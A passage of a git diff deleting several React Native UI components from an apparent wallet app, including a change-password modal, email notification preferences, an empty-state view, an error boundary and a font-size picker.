onChangeText={setConfirmPassword}
|
||||
placeholder="Confirm new password"
|
||||
placeholderTextColor={colors.textSecondary}
|
||||
secureTextEntry
|
||||
autoCapitalize="none"
|
||||
editable={!loading}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{newPassword.length > 0 && newPassword.length < 6 && (
|
||||
<Text style={styles.errorText}>
|
||||
Password must be at least 6 characters
|
||||
</Text>
|
||||
)}
|
||||
|
||||
{confirmPassword.length > 0 && newPassword !== confirmPassword && (
|
||||
<Text style={styles.errorText}>Passwords do not match</Text>
|
||||
)}
|
||||
|
||||
{/* Forgot Password Link */}
|
||||
<TouchableOpacity
|
||||
onPress={handleForgotPassword}
|
||||
style={styles.forgotPasswordButton}
|
||||
disabled={loading}
|
||||
>
|
||||
<Text style={styles.forgotPasswordText}>Forgot Password?</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Footer */}
|
||||
<View style={styles.footer}>
|
||||
<TouchableOpacity
|
||||
style={styles.cancelButton}
|
||||
onPress={handleClose}
|
||||
disabled={loading}
|
||||
>
|
||||
<Text style={styles.cancelButtonText}>Cancel</Text>
|
||||
</TouchableOpacity>
|
||||
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.submitButton,
|
||||
(loading || !currentPassword || !newPassword || newPassword !== confirmPassword || newPassword.length < 6) &&
|
||||
styles.submitButtonDisabled,
|
||||
]}
|
||||
onPress={handleSubmit}
|
||||
disabled={loading || !currentPassword || !newPassword || newPassword !== confirmPassword || newPassword.length < 6}
|
||||
>
|
||||
{loading ? (
|
||||
<ActivityIndicator color={KurdistanColors.spi} />
|
||||
) : (
|
||||
<Text style={styles.submitButtonText}>Change Password</Text>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
import type { ThemeColors } from '../contexts/ThemeContext';
|
||||
|
||||
const createStyles = (colors: ThemeColors) => StyleSheet.create({
|
||||
overlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
container: {
|
||||
width: '90%',
|
||||
maxWidth: 400,
|
||||
backgroundColor: colors.surface,
|
||||
borderRadius: 16,
|
||||
overflow: 'hidden',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: colors.border,
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: colors.text,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: colors.background,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 20,
|
||||
color: colors.textSecondary,
|
||||
},
|
||||
content: {
|
||||
padding: 20,
|
||||
},
|
||||
description: {
|
||||
fontSize: 14,
|
||||
color: colors.textSecondary,
|
||||
marginBottom: 20,
|
||||
lineHeight: 20,
|
||||
},
|
||||
inputContainer: {
|
||||
marginBottom: 16,
|
||||
},
|
||||
label: {
|
||||
fontSize: 14,
|
||||
fontWeight: '600',
|
||||
color: colors.text,
|
||||
marginBottom: 8,
|
||||
},
|
||||
input: {
|
||||
height: 48,
|
||||
borderWidth: 1,
|
||||
borderColor: colors.border,
|
||||
borderRadius: 8,
|
||||
paddingHorizontal: 16,
|
||||
fontSize: 16,
|
||||
color: colors.text,
|
||||
backgroundColor: colors.background,
|
||||
},
|
||||
errorText: {
|
||||
fontSize: 13,
|
||||
color: KurdistanColors.sor,
|
||||
marginTop: -8,
|
||||
marginBottom: 8,
|
||||
},
|
||||
forgotPasswordButton: {
|
||||
marginTop: 8,
|
||||
paddingVertical: 8,
|
||||
},
|
||||
forgotPasswordText: {
|
||||
fontSize: 14,
|
||||
color: KurdistanColors.kesk,
|
||||
fontWeight: '600',
|
||||
textAlign: 'center',
|
||||
},
|
||||
footer: {
|
||||
flexDirection: 'row',
|
||||
padding: 20,
|
||||
borderTopWidth: 1,
|
||||
borderTopColor: colors.border,
|
||||
gap: 12,
|
||||
},
|
||||
cancelButton: {
|
||||
flex: 1,
|
||||
paddingVertical: 14,
|
||||
borderRadius: 8,
|
||||
borderWidth: 1,
|
||||
borderColor: colors.border,
|
||||
alignItems: 'center',
|
||||
},
|
||||
cancelButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: colors.text,
|
||||
},
|
||||
submitButton: {
|
||||
flex: 1,
|
||||
paddingVertical: 14,
|
||||
borderRadius: 8,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
},
|
||||
submitButtonDisabled: {
|
||||
opacity: 0.5,
|
||||
},
|
||||
submitButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
});
|
||||
|
||||
export default ChangePasswordModal;
|
||||
@@ -1,328 +0,0 @@
|
||||
import React, { useState, useEffect, useCallback } from 'react';
|
||||
import {
|
||||
Modal,
|
||||
View,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
ScrollView,
|
||||
Switch,
|
||||
} from 'react-native';
|
||||
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { useTheme } from '../contexts/ThemeContext';
|
||||
import type { ThemeColors } from '../contexts/ThemeContext';
|
||||
|
||||
const EMAIL_PREFS_KEY = '@pezkuwi/email_notifications';
|
||||
|
||||
interface EmailPreferences {
|
||||
transactions: boolean;
|
||||
governance: boolean;
|
||||
security: boolean;
|
||||
marketing: boolean;
|
||||
}
|
||||
|
||||
interface EmailNotificationsModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
const EmailNotificationsModal: React.FC<EmailNotificationsModalProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
}) => {
|
||||
const { colors } = useTheme();
|
||||
const [preferences, setPreferences] = useState<EmailPreferences>({
|
||||
transactions: true,
|
||||
governance: true,
|
||||
security: true,
|
||||
marketing: false,
|
||||
});
|
||||
const [saving, setSaving] = useState(false);
|
||||
|
||||
const loadPreferences = useCallback(async () => {
|
||||
try {
|
||||
const saved = await AsyncStorage.getItem(EMAIL_PREFS_KEY);
|
||||
if (saved) {
|
||||
setPreferences(JSON.parse(saved));
|
||||
}
|
||||
} catch (error) {
|
||||
if (__DEV__) console.warn('Failed to load email preferences:', error);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
// Load preferences when modal becomes visible - setState is async inside loadPreferences
|
||||
// eslint-disable-next-line react-hooks/set-state-in-effect
|
||||
loadPreferences();
|
||||
}, [visible, loadPreferences]);
|
||||
|
||||
const savePreferences = async () => {
|
||||
setSaving(true);
|
||||
try {
|
||||
await AsyncStorage.setItem(EMAIL_PREFS_KEY, JSON.stringify(preferences));
|
||||
if (__DEV__) console.warn('[EmailPrefs] Preferences saved:', preferences);
|
||||
setTimeout(() => {
|
||||
setSaving(false);
|
||||
onClose();
|
||||
}, 500);
|
||||
} catch (error) {
|
||||
if (__DEV__) console.warn('Failed to save email preferences:', error);
|
||||
setSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const updatePreference = (key: keyof EmailPreferences, value: boolean) => {
|
||||
setPreferences((prev) => ({ ...prev, [key]: value }));
|
||||
};
|
||||
|
||||
const styles = createStyles(colors);
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
transparent={true}
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<View style={styles.overlay}>
|
||||
<View style={styles.container}>
|
||||
{/* Header */}
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.headerTitle}>Email Notifications</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<ScrollView style={styles.content}>
|
||||
<Text style={styles.description}>
|
||||
Choose which email notifications you want to receive. All emails are sent
|
||||
securely and you can unsubscribe at any time.
|
||||
</Text>
|
||||
|
||||
{/* Transaction Updates */}
|
||||
<View style={styles.preferenceItem}>
|
||||
<View style={styles.preferenceIcon}>
|
||||
<Text style={styles.preferenceIconText}>💸</Text>
|
||||
</View>
|
||||
<View style={styles.preferenceContent}>
|
||||
<Text style={styles.preferenceTitle}>Transaction Updates</Text>
|
||||
<Text style={styles.preferenceSubtitle}>
|
||||
Get notified when you send or receive tokens
|
||||
</Text>
|
||||
</View>
|
||||
<Switch
|
||||
value={preferences.transactions}
|
||||
onValueChange={(value) => updatePreference('transactions', value)}
|
||||
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
|
||||
thumbColor={preferences.transactions ? KurdistanColors.spi : '#f4f3f4'}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{/* Governance Alerts */}
|
||||
<View style={styles.preferenceItem}>
|
||||
<View style={styles.preferenceIcon}>
|
||||
<Text style={styles.preferenceIconText}>🗳️</Text>
|
||||
</View>
|
||||
<View style={styles.preferenceContent}>
|
||||
<Text style={styles.preferenceTitle}>Governance Alerts</Text>
|
||||
<Text style={styles.preferenceSubtitle}>
|
||||
Voting deadlines, proposal updates, election reminders
|
||||
</Text>
|
||||
</View>
|
||||
<Switch
|
||||
value={preferences.governance}
|
||||
onValueChange={(value) => updatePreference('governance', value)}
|
||||
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
|
||||
thumbColor={preferences.governance ? KurdistanColors.spi : '#f4f3f4'}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{/* Security Alerts */}
|
||||
<View style={styles.preferenceItem}>
|
||||
<View style={styles.preferenceIcon}>
|
||||
<Text style={styles.preferenceIconText}>🔒</Text>
|
||||
</View>
|
||||
<View style={styles.preferenceContent}>
|
||||
<Text style={styles.preferenceTitle}>Security Alerts</Text>
|
||||
<Text style={styles.preferenceSubtitle}>
|
||||
Login attempts, password changes, suspicious activity
|
||||
</Text>
|
||||
</View>
|
||||
<Switch
|
||||
value={preferences.security}
|
||||
onValueChange={(value) => updatePreference('security', value)}
|
||||
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
|
||||
thumbColor={preferences.security ? KurdistanColors.spi : '#f4f3f4'}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{/* Marketing Emails */}
|
||||
<View style={styles.preferenceItem}>
|
||||
<View style={styles.preferenceIcon}>
|
||||
<Text style={styles.preferenceIconText}>📢</Text>
|
||||
</View>
|
||||
<View style={styles.preferenceContent}>
|
||||
<Text style={styles.preferenceTitle}>Marketing & Updates</Text>
|
||||
<Text style={styles.preferenceSubtitle}>
|
||||
Product updates, feature announcements, newsletters
|
||||
</Text>
|
||||
</View>
|
||||
<Switch
|
||||
value={preferences.marketing}
|
||||
onValueChange={(value) => updatePreference('marketing', value)}
|
||||
trackColor={{ false: colors.border, true: KurdistanColors.kesk }}
|
||||
thumbColor={preferences.marketing ? KurdistanColors.spi : '#f4f3f4'}
|
||||
/>
|
||||
</View>
|
||||
|
||||
<View style={{ height: 20 }} />
|
||||
</ScrollView>
|
||||
|
||||
{/* Footer */}
|
||||
<View style={styles.footer}>
|
||||
<TouchableOpacity
|
||||
style={styles.cancelButton}
|
||||
onPress={onClose}
|
||||
disabled={saving}
|
||||
>
|
||||
<Text style={styles.cancelButtonText}>Cancel</Text>
|
||||
</TouchableOpacity>
|
||||
|
||||
<TouchableOpacity
|
||||
style={[styles.saveButton, saving && styles.saveButtonDisabled]}
|
||||
onPress={savePreferences}
|
||||
disabled={saving}
|
||||
>
|
||||
<Text style={styles.saveButtonText}>
|
||||
{saving ? 'Saving...' : 'Save Preferences'}
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const createStyles = (colors: ThemeColors) => StyleSheet.create({
|
||||
overlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
container: {
|
||||
width: '90%',
|
||||
maxHeight: '80%',
|
||||
backgroundColor: colors.surface,
|
||||
borderRadius: 16,
|
||||
overflow: 'hidden',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: colors.border,
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: colors.text,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: colors.background,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 20,
|
||||
color: colors.textSecondary,
|
||||
},
|
||||
content: {
|
||||
padding: 20,
|
||||
},
|
||||
description: {
|
||||
fontSize: 14,
|
||||
color: colors.textSecondary,
|
||||
marginBottom: 20,
|
||||
lineHeight: 20,
|
||||
},
|
||||
preferenceItem: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
paddingVertical: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: colors.border,
|
||||
},
|
||||
preferenceIcon: {
|
||||
width: 44,
|
||||
height: 44,
|
||||
borderRadius: 22,
|
||||
backgroundColor: colors.background,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
marginRight: 12,
|
||||
},
|
||||
preferenceIconText: {
|
||||
fontSize: 22,
|
||||
},
|
||||
preferenceContent: {
|
||||
flex: 1,
|
||||
marginRight: 12,
|
||||
},
|
||||
preferenceTitle: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: colors.text,
|
||||
marginBottom: 4,
|
||||
},
|
||||
preferenceSubtitle: {
|
||||
fontSize: 13,
|
||||
color: colors.textSecondary,
|
||||
lineHeight: 18,
|
||||
},
|
||||
footer: {
|
||||
flexDirection: 'row',
|
||||
padding: 20,
|
||||
borderTopWidth: 1,
|
||||
borderTopColor: colors.border,
|
||||
gap: 12,
|
||||
},
|
||||
cancelButton: {
|
||||
flex: 1,
|
||||
paddingVertical: 14,
|
||||
borderRadius: 8,
|
||||
borderWidth: 1,
|
||||
borderColor: colors.border,
|
||||
alignItems: 'center',
|
||||
},
|
||||
cancelButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: colors.text,
|
||||
},
|
||||
saveButton: {
|
||||
flex: 1,
|
||||
paddingVertical: 14,
|
||||
borderRadius: 8,
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
alignItems: 'center',
|
||||
},
|
||||
saveButtonDisabled: {
|
||||
opacity: 0.6,
|
||||
},
|
||||
saveButtonText: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.spi,
|
||||
},
|
||||
});
|
||||
|
||||
export default EmailNotificationsModal;
|
||||
@@ -1,47 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface EmptyStateProps {
|
||||
icon?: string;
|
||||
title: string;
|
||||
description?: string;
|
||||
actionLabel?: string;
|
||||
onAction?: () => void;
|
||||
}
|
||||
|
||||
export const EmptyState: React.FC<EmptyStateProps> = ({
|
||||
icon = '📋',
|
||||
title,
|
||||
description,
|
||||
actionLabel,
|
||||
onAction,
|
||||
}) => (
|
||||
<View style={styles.container} accessibilityRole="text" accessibilityLabel={title}>
|
||||
<Text style={styles.icon}>{icon}</Text>
|
||||
<Text style={styles.title}>{title}</Text>
|
||||
{description && <Text style={styles.description}>{description}</Text>}
|
||||
{actionLabel && onAction && (
|
||||
<TouchableOpacity
|
||||
style={styles.actionBtn}
|
||||
onPress={onAction}
|
||||
accessibilityRole="button"
|
||||
accessibilityLabel={actionLabel}
|
||||
>
|
||||
<Text style={styles.actionBtnText}>{actionLabel}</Text>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: { alignItems: 'center', justifyContent: 'center', paddingVertical: 48, paddingHorizontal: 32 },
|
||||
icon: { fontSize: 48, marginBottom: 12 },
|
||||
title: { fontSize: 18, fontWeight: '600', color: '#333', textAlign: 'center', marginBottom: 6 },
|
||||
description: { fontSize: 14, color: '#888', textAlign: 'center', lineHeight: 20 },
|
||||
actionBtn: {
|
||||
marginTop: 20, backgroundColor: KurdistanColors.kesk, paddingHorizontal: 24,
|
||||
paddingVertical: 12, borderRadius: 12,
|
||||
},
|
||||
actionBtnText: { color: '#FFFFFF', fontSize: 15, fontWeight: '600' },
|
||||
});
|
||||
@@ -1,250 +0,0 @@
|
||||
// ========================================
|
||||
// Error Boundary Component (React Native)
|
||||
// ========================================
|
||||
// Catches React errors and displays fallback UI
|
||||
|
||||
import React, { Component, ErrorInfo, ReactNode } from 'react';
|
||||
import { View, Text, TouchableOpacity, ScrollView, StyleSheet } from 'react-native';
|
||||
|
||||
interface Props {
|
||||
children: ReactNode;
|
||||
fallback?: ReactNode;
|
||||
onError?: (error: Error, errorInfo: ErrorInfo) => void;
|
||||
}
|
||||
|
||||
interface State {
|
||||
hasError: boolean;
|
||||
error: Error | null;
|
||||
errorInfo: ErrorInfo | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Global Error Boundary for React Native
|
||||
* Catches unhandled errors in React component tree
|
||||
*
|
||||
* @example
|
||||
* <ErrorBoundary>
|
||||
* <App />
|
||||
* </ErrorBoundary>
|
||||
*/
|
||||
export class ErrorBoundary extends Component<Props, State> {
|
||||
constructor(props: Props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
hasError: false,
|
||||
error: null,
|
||||
errorInfo: null,
|
||||
};
|
||||
}
|
||||
|
||||
static getDerivedStateFromError(error: Error): Partial<State> {
|
||||
// Update state so next render shows fallback UI
|
||||
return {
|
||||
hasError: true,
|
||||
error,
|
||||
};
|
||||
}
|
||||
|
||||
componentDidCatch(error: Error, errorInfo: ErrorInfo): void {
|
||||
// Log error to console
|
||||
if (__DEV__) {
|
||||
console.error('ErrorBoundary caught an error:', error, errorInfo);
|
||||
}
|
||||
|
||||
// Update state with error details
|
||||
this.setState({
|
||||
error,
|
||||
errorInfo,
|
||||
});
|
||||
|
||||
// Call custom error handler if provided
|
||||
if (this.props.onError) {
|
||||
this.props.onError(error, errorInfo);
|
||||
}
|
||||
|
||||
// In production, you might want to log to an error reporting service
|
||||
// Example: Sentry.captureException(error);
|
||||
}
|
||||
|
||||
handleReset = (): void => {
|
||||
this.setState({
|
||||
hasError: false,
|
||||
error: null,
|
||||
errorInfo: null,
|
||||
});
|
||||
};
|
||||
|
||||
render(): ReactNode {
|
||||
if (this.state.hasError) {
|
||||
// Use custom fallback if provided
|
||||
if (this.props.fallback) {
|
||||
return this.props.fallback;
|
||||
}
|
||||
|
||||
// Default error UI for React Native
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
<ScrollView
|
||||
style={styles.scrollView}
|
||||
contentContainerStyle={styles.scrollContent}
|
||||
>
|
||||
<View style={styles.card}>
|
||||
{/* Error Icon */}
|
||||
<View style={styles.iconContainer}>
|
||||
<Text style={styles.iconText}>⚠️</Text>
|
||||
</View>
|
||||
|
||||
{/* Error Title */}
|
||||
<Text style={styles.title}>Something Went Wrong</Text>
|
||||
<Text style={styles.description}>
|
||||
An unexpected error occurred. We apologize for the inconvenience.
|
||||
</Text>
|
||||
|
||||
{/* Error Details (Development Only) */}
|
||||
{__DEV__ && this.state.error && (
|
||||
<View style={styles.errorDetails}>
|
||||
<Text style={styles.errorDetailsTitle}>
|
||||
Error Details (for developers)
|
||||
</Text>
|
||||
<View style={styles.errorBox}>
|
||||
<Text style={styles.errorLabel}>Error:</Text>
|
||||
<Text style={styles.errorText}>
|
||||
{this.state.error.toString()}
|
||||
</Text>
|
||||
{this.state.errorInfo && (
|
||||
<>
|
||||
<Text style={[styles.errorLabel, styles.stackLabel]}>
|
||||
Component Stack:
|
||||
</Text>
|
||||
<Text style={styles.errorText}>
|
||||
{this.state.errorInfo.componentStack}
|
||||
</Text>
|
||||
</>
|
||||
)}
|
||||
</View>
|
||||
</View>
|
||||
)}
|
||||
|
||||
{/* Action Buttons */}
|
||||
<View style={styles.buttonContainer}>
|
||||
<TouchableOpacity
|
||||
style={styles.primaryButton}
|
||||
onPress={this.handleReset}
|
||||
activeOpacity={0.8}
|
||||
>
|
||||
<Text style={styles.buttonText}>Try Again</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Support Contact */}
|
||||
<Text style={styles.supportText}>
|
||||
If this problem persists, please contact support at{' '}
|
||||
<Text style={styles.supportEmail}>info@pezkuwichain.io</Text>
|
||||
</Text>
|
||||
</View>
|
||||
</ScrollView>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
// No error, render children normally
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
flex: 1,
|
||||
backgroundColor: '#0a0a0a',
|
||||
},
|
||||
scrollView: {
|
||||
flex: 1,
|
||||
},
|
||||
scrollContent: {
|
||||
flexGrow: 1,
|
||||
justifyContent: 'center',
|
||||
padding: 16,
|
||||
},
|
||||
card: {
|
||||
backgroundColor: '#1a1a1a',
|
||||
borderRadius: 12,
|
||||
borderWidth: 1,
|
||||
borderColor: '#2a2a2a',
|
||||
padding: 24,
|
||||
},
|
||||
iconContainer: {
|
||||
alignItems: 'center',
|
||||
marginBottom: 16,
|
||||
},
|
||||
iconText: {
|
||||
fontSize: 48,
|
||||
},
|
||||
title: {
|
||||
fontSize: 24,
|
||||
fontWeight: 'bold',
|
||||
color: '#ffffff',
|
||||
textAlign: 'center',
|
||||
marginBottom: 12,
|
||||
},
|
||||
description: {
|
||||
fontSize: 16,
|
||||
color: '#9ca3af',
|
||||
textAlign: 'center',
|
||||
marginBottom: 24,
|
||||
lineHeight: 24,
|
||||
},
|
||||
errorDetails: {
|
||||
marginBottom: 24,
|
||||
},
|
||||
errorDetailsTitle: {
|
||||
fontSize: 14,
|
||||
fontWeight: '600',
|
||||
color: '#6b7280',
|
||||
marginBottom: 12,
|
||||
},
|
||||
errorBox: {
|
||||
backgroundColor: '#0a0a0a',
|
||||
borderRadius: 8,
|
||||
borderWidth: 1,
|
||||
borderColor: '#374151',
|
||||
padding: 12,
|
||||
},
|
||||
errorLabel: {
|
||||
fontSize: 12,
|
||||
fontWeight: 'bold',
|
||||
color: '#ef4444',
|
||||
marginBottom: 8,
|
||||
},
|
||||
stackLabel: {
|
||||
marginTop: 12,
|
||||
},
|
||||
errorText: {
|
||||
fontSize: 11,
|
||||
fontFamily: 'monospace',
|
||||
color: '#9ca3af',
|
||||
lineHeight: 16,
|
||||
},
|
||||
buttonContainer: {
|
||||
marginBottom: 16,
|
||||
},
|
||||
primaryButton: {
|
||||
backgroundColor: '#00A94F',
|
||||
borderRadius: 8,
|
||||
padding: 16,
|
||||
alignItems: 'center',
|
||||
},
|
||||
buttonText: {
|
||||
color: '#ffffff',
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
},
|
||||
supportText: {
|
||||
fontSize: 14,
|
||||
color: '#6b7280',
|
||||
textAlign: 'center',
|
||||
lineHeight: 20,
|
||||
},
|
||||
supportEmail: {
|
||||
color: '#00A94F',
|
||||
},
|
||||
});
|
||||
@@ -1,187 +0,0 @@
|
||||
import React from 'react';
|
||||
import {
|
||||
Modal,
|
||||
View,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
} from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { useTheme } from '../contexts/ThemeContext';
|
||||
|
||||
interface FontSizeModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
const FontSizeModal: React.FC<FontSizeModalProps> = ({ visible, onClose }) => {
|
||||
const { colors, fontSize, setFontSize } = useTheme();
|
||||
const styles = createStyles(colors);
|
||||
|
||||
const handleSelectSize = async (size: 'small' | 'medium' | 'large') => {
|
||||
await setFontSize(size);
|
||||
onClose();
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="fade"
|
||||
transparent={true}
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<TouchableOpacity
|
||||
style={styles.overlay}
|
||||
activeOpacity={1}
|
||||
onPress={onClose}
|
||||
testID="font-size-modal-backdrop"
|
||||
>
|
||||
<TouchableOpacity activeOpacity={1} onPress={(e) => e.stopPropagation()}>
|
||||
<View style={styles.container}>
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.headerTitle}>Font Size</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton} testID="font-size-modal-close">
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<View style={styles.content}>
|
||||
<Text style={styles.description}>
|
||||
Choose your preferred font size for better readability.
|
||||
</Text>
|
||||
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.sizeOption,
|
||||
fontSize === 'small' && styles.sizeOptionSelected,
|
||||
]}
|
||||
onPress={() => handleSelectSize('small')}
|
||||
testID="font-size-small"
|
||||
>
|
||||
<Text style={styles.sizeLabel}>Small</Text>
|
||||
<Text style={[styles.sizeExample, { fontSize: 14 }]}>
|
||||
The quick brown fox jumps over the lazy dog
|
||||
</Text>
|
||||
{fontSize === 'small' && <Text style={styles.checkmark}>✓</Text>}
|
||||
</TouchableOpacity>
|
||||
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.sizeOption,
|
||||
fontSize === 'medium' && styles.sizeOptionSelected,
|
||||
]}
|
||||
onPress={() => handleSelectSize('medium')}
|
||||
testID="font-size-medium"
|
||||
>
|
||||
<Text style={styles.sizeLabel}>Medium (Default)</Text>
|
||||
<Text style={[styles.sizeExample, { fontSize: 16 }]}>
|
||||
The quick brown fox jumps over the lazy dog
|
||||
</Text>
|
||||
{fontSize === 'medium' && <Text style={styles.checkmark}>✓</Text>}
|
||||
</TouchableOpacity>
|
||||
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.sizeOption,
|
||||
fontSize === 'large' && styles.sizeOptionSelected,
|
||||
]}
|
||||
onPress={() => handleSelectSize('large')}
|
||||
testID="font-size-large"
|
||||
>
|
||||
<Text style={styles.sizeLabel}>Large</Text>
|
||||
<Text style={[styles.sizeExample, { fontSize: 18 }]}>
|
||||
The quick brown fox jumps over the lazy dog
|
||||
</Text>
|
||||
{fontSize === 'large' && <Text style={styles.checkmark}>✓</Text>}
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
</View>
|
||||
</TouchableOpacity>
|
||||
</TouchableOpacity>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
import type { ThemeColors } from '../contexts/ThemeContext';
|
||||
|
||||
const createStyles = (colors: ThemeColors) => StyleSheet.create({
|
||||
overlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
container: {
|
||||
width: '90%',
|
||||
maxWidth: 400,
|
||||
backgroundColor: colors.surface,
|
||||
borderRadius: 16,
|
||||
overflow: 'hidden',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: colors.border,
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: colors.text,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: colors.background,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 20,
|
||||
color: colors.textSecondary,
|
||||
},
|
||||
content: {
|
||||
padding: 20,
|
||||
},
|
||||
description: {
|
||||
fontSize: 14,
|
||||
color: colors.textSecondary,
|
||||
marginBottom: 20,
|
||||
lineHeight: 20,
|
||||
},
|
||||
sizeOption: {
|
||||
padding: 16,
|
||||
borderRadius: 12,
|
||||
borderWidth: 2,
|
||||
borderColor: colors.border,
|
||||
marginBottom: 12,
|
||||
position: 'relative',
|
||||
},
|
||||
sizeOptionSelected: {
|
||||
borderColor: KurdistanColors.kesk,
|
||||
backgroundColor: colors.background,
|
||||
},
|
||||
sizeLabel: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: colors.text,
|
||||
marginBottom: 8,
|
||||
},
|
||||
sizeExample: {
|
||||
color: colors.textSecondary,
|
||||
lineHeight: 22,
|
||||
},
|
||||
checkmark: {
|
||||
position: 'absolute',
|
||||
top: 16,
|
||||
right: 16,
|
||||
fontSize: 24,
|
||||
color: KurdistanColors.kesk,
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
});
|
||||
|
||||
export default FontSizeModal;
|
||||
